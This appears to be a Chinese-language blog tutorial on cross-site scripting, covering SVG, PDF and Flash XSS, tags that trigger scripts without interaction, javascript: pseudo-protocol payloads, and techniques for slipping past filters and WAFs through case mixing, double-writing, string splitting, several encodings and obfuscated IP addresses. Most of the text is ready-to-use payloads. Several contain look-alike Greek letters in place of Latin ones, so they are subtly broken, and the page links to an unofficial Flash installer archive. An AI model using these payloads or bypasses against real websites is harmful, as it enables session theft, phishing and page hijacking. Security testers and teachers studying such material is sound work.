xss跨站及绕过与防护-XSS

时间:2024-10-30 22:29:01

它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。

SVG-XSS

SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。

<circle cx="100"cy="50"r="40"stroke=“black” stroke-width="2"fill=“red” />

PDF-XSS
1、创建PDF,加入动作JS
在这里插入图片描述

2、通过文件上传获取访问链接

3、直链地址访问后被触发

在这里插入图片描述

SWF-XSS

测试swf文件xss安全性:
1、反编译swf文件
2、查找触发危险函数
3、找可控参数访问触发
xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText
loadMovie等等

adob flash下载链接:https://t5art65aer.yzhy23.cn/2019/08/02/adboeflash.rar?timestamp=671cf0d2&auth_key=97f961c2c3e03dcd9e7c46429f170fa1&sign=080e6247193bde0b8650b2134efa562c&t=671cfee2

新建动画

在这里插入图片描述

按f9打开动作
在这里插入图片描述

写入

var m = _root.m;

flash.external.ExternalInterface.call(m);
在这里插入图片描述

ctrl+enter运行
在这里插入图片描述

正常运行ok,发布出来

然后放到网站内使用浏览器访问,加上参数m=alert(1),就执行js成功

在这里插入图片描述

常见标签-无需交互触发

<script>alert("xss");</script>
<img src=1 οnerrοr=alert("xss");>
<input onfocus="alert('xss');">
<input οnblur=alert("xss") autofocus><input autofocus>
<input onfocus="alert('xss');" autofocus>
<details ontoggle="alert('xss');">
<details open ontoggle="alert('xss');">
<svg οnlοad=alert("xss");>
<select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus>
<iframe οnlοad=alert("xss");></iframe>
<video><source onerror="alert(1)">
<audio src=x  οnerrοr=alert("xss");>
<body/οnlοad=alert("xss");>

<body
οnscrοll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

<textarea οnfοcus=alert("xss"); autofocus>
<keygen autofocus onfocus=alert(1)> //仅限火狐
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以
<isindex type=image src=1 οnerrοr=alert("xss")>//仅限于IE

link远程包含js文件

<link rel=import href="http://127.0.0.1/1.js">

JavaScript伪协议

<a>标签
<a href="javascript:alert(`xss`);">xss</a>

<iframe>标签
<iframe src=javascript:alert('xss');></iframe>

<img>标签
<img src=javascript:alert('xss')>//IE7以下

<form>标签
<form action="Javascript:alert(1)"><input type=submit>

过滤绕过

过滤空格

/代替空格

<img/src="x"/οnerrοr=alert("xss");>

过滤关键字

大小写
<ImG sRc=x onerRor=alert("xss");>
双写

有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过

<imimgg srsrcc=x οnerrοr=alert("xss");>
字符拼接

利用eval

<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

利用top

<script>top["al"+"ert"](`xss`);</script>

编码绕过

不过全是在能执行js的条件下,有点鸡肋

Unicode编码绕过

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url编码

<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

ascii编码

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex编码

<img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

base64编码

<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤url地址

url编码
<img src="x" οnerrοr=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
使用IP

ip转换进制在线工具

IP地址十六进制、二进制、十进制转换-ME2在线工具

1.十进制IP

<img src="x" onerror=document.location=`http://2130706433/`>

2.八进制IP

<img src="x" onerror=document.location=`http://0177.0.0.01/`>

3.hex

<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>

4.html标签中用//可以代替http://

<img src="x" onerror=document.location=`//www.baidu.com`>

5.使用中文句号代替英文的点
如果你在你在域名中输入中文句号浏览器会自动转化成英文的点

<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度